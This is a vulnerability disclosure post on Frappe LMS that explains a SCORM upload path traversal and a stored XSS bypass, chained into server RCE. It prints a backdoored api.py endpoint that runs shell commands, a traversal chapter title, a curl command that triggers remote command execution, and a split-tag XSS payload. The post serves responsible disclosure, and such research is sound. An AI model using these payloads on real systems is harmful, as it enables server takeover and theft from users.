Intro to Frappe LMS
Vulnerability Summary
Frappe LMS is an open-source learning management system built on the Frappe framework. It provides organizations with tools to create and manage online courses, track student progress, post job opportunities, and run learning batches.
While performing research on Frappe LMS, we found several vulnerabilities, including an attack chain that could enable a student user to gain remote code execution (RCE) on the server.
Vulnerability Attack Summary
This blog is primarily about chaining two vulnerabilities. The first allows a course-creator user to execute arbitrary code on the server. The second allows a student user to inject a JavaScript payload in their profile, causing XSS when viewed.
The POC at the end of this post will show how the two vulnerabilities can be chained; where a privileged user viewing an infected profile causes code to execute on the server.
Vendor: Frappe
Product: Frappe LMS
CVEs:
CVE-2026-39405: Path Traversal to RCE
CVE-2026-46546: Header Tag Injection
Confirmed Vulnerable Version: v2.44.0
Fixed Version: v2.50.1
CVE-2026-39405: Path Traversal in SCORM Package Upload Leading to Remote Code Execution
What Is SCORM
SCORM (Sharable Content Object Reference Model) is a widely adopted specification for packaging and delivering e-learning content. A SCORM package is essentially a ZIP archive containing a manifest file (imsmanifest.xml) at its root along with supporting assets such as HTML files, JavaScript, CSS, and media. The manifest describes the structure and sequence of the learning content, and a compliant LMS uses it to track learner progress.
A basic SCORM package has the following structure:
demo_scorm/ ├── sco/ │ ├── sco.md │ ├── scorm.js │ └── style.css └── imsmanifest.xml
The imsmanifest.xml must be present at the root of the ZIP for the application to recognize it as a valid SCORM package.
How Does Frappe LMS Handle SCORM Packages
In Frappe LMS, course creators (Administrators by default) can upload a SCORM package when adding a new chapter to a course. When the ZIP package is received server-side, the application extracts its contents into a directory on the filesystem. The intended destination is a subdirectory inside the application’s public assets folder, named after the chapter’s title.
The extract_package function is responsible for handling the uploaded zip file.
Line 1007 generates a path, and line 1008 extracts the ZIP archive to that path.
Line 1007 calls the frappe.get_site_path function. This function is essentially a wrapper around os.path.join that passes in local.site_path as the first argument.
The extract_package function accepts a user-provided chapter title, passes it into os.path.join to create the destination path, then extracts the contents of the uploaded zip archive to the created path. The vulnerability exists because the title argument is never sanitized; a chapter title such as ../../../../../apps/lms causes the uploaded zip file to be extracted into the root directory of the application.
Manual Exploitation
In this proof of concept, we will create a malicious SCORM package and exploit the path traversal vulnerability to replace the main api.py file with a backdoored version, resulting in remote code execution.
First, we download the api.py file from the frappe/lms code repository, then add a backdoor to a publicly available endpoint in the file.
@frappe.whitelist(allow_guest=True)
def get_job_details(job: str):
### BEGIN BACKDOOR ###
if "|$>" in job:
import subprocess
command = job.split("|$>")[-1]
result = subprocess.run(command, shell=True, capture_output=True, text=True)
return {"cmd": result.stdout}
### END BACKDOOR ###
return frappe.db.get_value(
"Job Opportunity",
job,
[
"job_title",
"location",
...
],
as_dict=1,
)
Next, we create a zipped SCORM package which contains the backdoored api.py file.
backdoor_latest.zip/ ├── sco/ │ ├── sco.md │ ├── scorm.js │ └── style.css ├── imsmanifest.xml └── api.py
Then, in the web application, we upload the malicious SCORM package in the ‘Add Chapter’ dialog, setting the chapter name to ../../../../../apps/lms/lms/lms .
When we click the ‘Create’ button, there is a 500 error, but the api.py file is successfully replaced with the backdoored version.
The following cURL command can be used to execute the id command on the server.
curl -X $'POST' -H $'Content-Type: application/json; charset=utf-8' --data-binary $'{\"job\":\"|$> id\"}' $'http://localhost:8000/api/method/lms.lms.api.get_job_details'
Exploitation requires Admin privileges, but can be chained with an XSS vulnerability such as in CVE-2026-34606. This chain provides a path from student-level access to remote code execution.
CVE-2026-34606: Stored XSS in Profile Bio and Other Fields
Frappe LMS correctly applies HTML sanitization to rich-text fields on submission. The profile bio field, for example, intentionally permits a subset of HTML tags such as <p>, <img>, and <a>. Dangerous elements like <script> are stripped by the sanitizer before the content is stored. This works as intended.
Sanitization Bypass Using BeautifulSoup's get_text()
When generating a preview of stored content, the application passes the sanitized HTML through BeautifulSoup’s get_text() method. The intent is to extract a plain-text representation of the content. The problem is that get_text() is a text extraction function, not a sanitization function. It walks the HTML parse tree and concatenates all text nodes it encounters. It does not inspect whether the assembled output contains dangerous sequences, and it does not encode or escape the result.
This creates a second-order attack surface. An attacker can craft an input that contains no dangerous tags, but whose text nodes, when concatenated by get_text(), assemble into a valid executable payload. The assembled output is then rendered in the preview context without being passed through sanitization again.
Consider the following payload submitted to the bio field:
<p><</p><p>script>alert(document.location)<</p><p>/script></p>
The get_text() function produces the following payload from the text above:
<script>alert(document.location)</script>
This behavior can be demonstrated directly in a Python interpreter:
When get_text() is called on the above HTML to generate the profile preview, BeautifulSoup extracts the text node from each <p> tag: <, then script>alert(document.location)<, then /script>. These are concatenated to produce:
>>> from bs4 import BeautifulSoup
>>> soup = BeautifulSoup("<p><</p><p>script>alert(document.location)<</p><p>/script></p>")
>>> soup.get_text()
'<script>alert(document.location)</script>'
The output of get_text() is a fully valid XSS payload. Because the preview rendering trusts this output without a second sanitization pass, the script executes in the browser of any user who loads the page.
The profile bio field is the most impactful surface for this vulnerability because any registered student can edit their own bio. Every user who views the attacker’s profile page is affected.
Proof of Concept:
First, we log into an account and navigate to the user profile, then we click ‘Edit Profile’ and enter the following payload into the ‘Bio’ field before clicking the ‘Save’ button:
<p><</p><p>script>alert(document.location)<</p><p>/script></p>
When we refresh the page, the payload runs.
XSS-to-RCE POC Video
This video shows a student-level attacker pasting an XSS payload into their profile bio. The exploit is run on the server when the administrator-level victim visits the attacker’s profile page. Once the exploit is executed, the attacker can execute commands on the server using the CVE-2026-39405.py script.
Conclusion
This blog post outlines several vulnerabilities in Frappe LMS. These vulnerabilities were due to the application’s unsafe handling of user provided input. A third vulnerability, CVE-2026-46546, was also discovered during testing. CVE-2026-46546 is a meta tag injection vulnerability which leads to open-redirect. More information about this finding is available in the Rhino Security Labs CVE repository on GitHub.
We would like to thank Frappe for their responsiveness throughout this disclosure process.
Proof of concept code can be found in our CVE GitHub repository.
Vulnerability Disclosure Timeline
| Vulnerability Disclosure Timeline | |
| Date | Event |
| 2/23/2026 | Initial disclosure sent to Frappe. |
| 3/22/2026 | Disclosure acknowledged by Frappe. |
| 3/30/2026 | Frappe states all disclosed vulnerabilities have been fixed. |
| 5/14/2026 | All CVEs posted on the Frappe LMS Project. |
| 9/15/2026 | This blog post is published. |
As always, feel free to follow us on Twitter or LinkedIn and join our Discord for more releases and blog posts.
Twitter: https://twitter.com/rhinosecurity
LinkedIn: https://www.linkedin.com/company/rhino-security-labs/
Discord: https://discord.gg/peY8ttRDk